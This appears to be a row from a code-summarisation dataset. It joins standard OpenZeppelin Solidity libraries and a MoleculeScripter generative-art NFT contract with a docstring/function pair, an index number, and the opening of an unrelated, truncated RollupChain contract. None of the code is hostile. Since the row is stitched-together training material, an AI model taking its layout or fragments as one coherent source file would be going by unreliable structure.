* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
/// @notice stores and manages generative art scripts
contract MoleculeScripter is Ownable {
/// @notice stores script data
/// @param name is the script's title
/// @param scriptCode stores all generative art code on chain
/// @param creator is the artists address
/// @param publicSale scripts can be minted to
/// @param locked scripts cannot be changed anymore
/// @param isSealed scripts lock all molecule's chemical data forever
/// @param currentSupply shows how many molecules have been minted with that script
/// @param totalSupply is the limit of molecules that can be minted with that script
/// @param saleDuration is the time in hours of the dutch auction
/// @param startPrice is the price in wei the dutch auction starts with
/// @param endPrice is the price in wei minting stays at after the saleDuration ended
struct Script {
string name;
string scriptCode;
address creator;
bool publicSale;
bool whitelistSale;
bool locked;
bool isSealed;
uint16 currentSupply;
uint16 totalSupply;
uint32 saleDuration;
uint64 startPrice;
uint64 endPrice;
}
/// @notice emits when a new script is created
event NewScript(
uint indexed scriptId,
string name,
string scriptCode,
address creator,
bool publicSale,
bool whitelistSale,
bool locked,
bool isSealed,
uint16 currentSupply,
uint16 totalSupply,
uint32 saleDuration,
uint64 startPrice,
uint64 endPrice
);
/// @notice stores all scripts on chain
Script[] public scripts;
/// @notice number of scripts a creator can deploy
mapping (address => uint) public allowedScripts;
/// @notice script ids that belong to a creator
mapping (uint => address) public scriptToCreator;
/// @notice total number of scripts a creator has deployed
mapping (address => uint) creatorScriptCount;
/// @notice script IDs to timestamps of sales starts
mapping (uint => uint) startingTime;
/// @notice allow new creators in
function allowCreator(address _creator, uint _scriptsAllowed) external onlyOwner {
allowedScripts[_creator] = allowedScripts[_creator] + _scriptsAllowed;
}
/// @notice returns all script ids created by one creator
function getScriptsByCreator(address _creator) external view returns(uint[] memory) {
uint[] memory result = new uint[](creatorScriptCount[_creator]);
uint counter = 0;
for (uint i = 0; i < scripts.length; i++) {
if (scriptToCreator[i] == _creator) {
result[counter] = i;
counter++;
}
}
return result;
}
/// @notice checks if the artists is allowed to publish a script
modifier onlyCreators(address _creator) {
require(allowedScripts[_creator] > 0 || _creator == owner(), "Creator not allowed");
require(allowedScripts[_creator] > creatorScriptCount[_creator] || _creator == owner(), "Creator max scripts reached");
_;
}
/// @notice creates a new script
function createScript(
string memory _name,
string memory _scriptCode,
uint16 _totalSupply,
uint32 _saleDuration,
uint64 _startPrice,
uint64 _endPrice
) external onlyCreators(msg.sender) {
scripts.push(Script(_name, _scriptCode, msg.sender, false, false, false, false, 0, _totalSupply, _saleDuration, _startPrice, _endPrice));
uint id = scripts.length -1;
creatorScriptCount[msg.sender]++;
scriptToCreator[id] = msg.sender;
emit NewScript(id, _name, _scriptCode, msg.sender, false, false, false, false, 0, _totalSupply, _saleDuration, _startPrice, _endPrice);
}
/// @notice allows to activate / deactivate a script and sets starting time for the sale
function saleSwitch(uint _scriptId, bool _publicSale, bool _whitelistSale) external onlyScriptCreator(_scriptId) {
scripts[_scriptId].publicSale = _publicSale;
scripts[_scriptId].whitelistSale = _whitelistSale;
if (_publicSale || _whitelistSale) {
startingTime[_scriptId] = block.timestamp;
}
}
/// @notice only script creator or owner can execute a function
modifier onlyScriptCreator(uint _scriptId) {
require(msg.sender == scripts[_scriptId].creator || msg.sender == owner(), "Only script creator or owner");
_;
}
/// @notice checks if the script is below its total supply
modifier mintableScript(uint _scriptId) {
require(scripts[_scriptId].currentSupply+1 <= scripts[_scriptId].totalSupply, "Total supply reached");
_;
}
/// @notice only proceeds when the script is not locked
modifier notLocked(uint _scriptId) {
require(!scripts[_scriptId].locked, "Script locked");
_;
}
/// @notice permanently locks a script => price, supply, and code cannot be altered
function lockScript(uint _scriptId) notLocked(_scriptId) onlyScriptCreator(_scriptId) external {
scripts[_scriptId].locked = true;
}
/// @notice creators can update the script code when the script is not locked
function updateScriptName(uint _scriptId, string memory _scriptName) notLocked(_scriptId) onlyScriptCreator(_scriptId) external {
scripts[_scriptId].name = _scriptName;
}
/// @notice creators can update the script code when the script is not locked
function updateScriptCode(uint _scriptId, string memory _scriptCode) notLocked(_scriptId) onlyScriptCreator(_scriptId) external {
scripts[_scriptId].scriptCode = _scriptCode;
}
/// @notice updates total supply when the script is not locked
function updateScriptTotalSupply(uint _scriptId, uint16 _totalSupply) notLocked(_scriptId) onlyScriptCreator(_scriptId) external {
require(scripts[_scriptId].currentSupply <= _totalSupply, "Supply already exceeded");
scripts[_scriptId].totalSupply = _totalSupply;
}
/// @notice updates price per molecule when the script is not locked
function updateScriptPrice(uint _scriptId, uint32 _saleDuration, uint64 _startPrice, uint64 _endPrice) notLocked(_scriptId) onlyScriptCreator(_scriptId) external {
scripts[_scriptId].saleDuration = _saleDuration;
scripts[_scriptId].startPrice = _startPrice;
scripts[_scriptId].endPrice = _endPrice;
}
/// @notice only proceeds when the script is not sealed
modifier notSealed(uint _scriptId) {
require(!scripts[_scriptId].isSealed, "Script is sealed");
_;
}
/// @notice permanently seals a script => molecules cannot be altered anymore
function sealScript(uint _scriptId) notSealed(_scriptId) onlyOwner external {
scripts[_scriptId].isSealed = true;
}
}
|
allow new creators in
|
function allowCreator(address _creator, uint _scriptsAllowed) external onlyOwner {
allowedScripts[_creator] = allowedScripts[_creator] + _scriptsAllowed;
}
| 12,791,450
|
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
/* Internal Imports */
import {DataTypes as dt} from "./DataTypes.sol";
import {RollupMerkleUtils} from "./RollupMerkleUtils.sol";
import {TransitionEvaluator} from "./TransitionEvaluator.sol";
contract RollupChain {
/* Fields */
// The Evaluator for our STF
TransitionEvaluator transitionEvaluator;
// The Rollup Merkle Tree library (currently a contract for ease of testing)
RollupMerkleUtils merkleUtils;
// All the blocks!
dt.Block[] public blocks;
bytes32 public ZERO_BYTES32 = 0x0000000000000000000000000000000000000000000000000000000000000000;
bytes32[3] private FAILED_TX_OUTPUT = [ZERO_BYTES32, ZERO_BYTES32, ZERO_BYTES32];
// Tx types
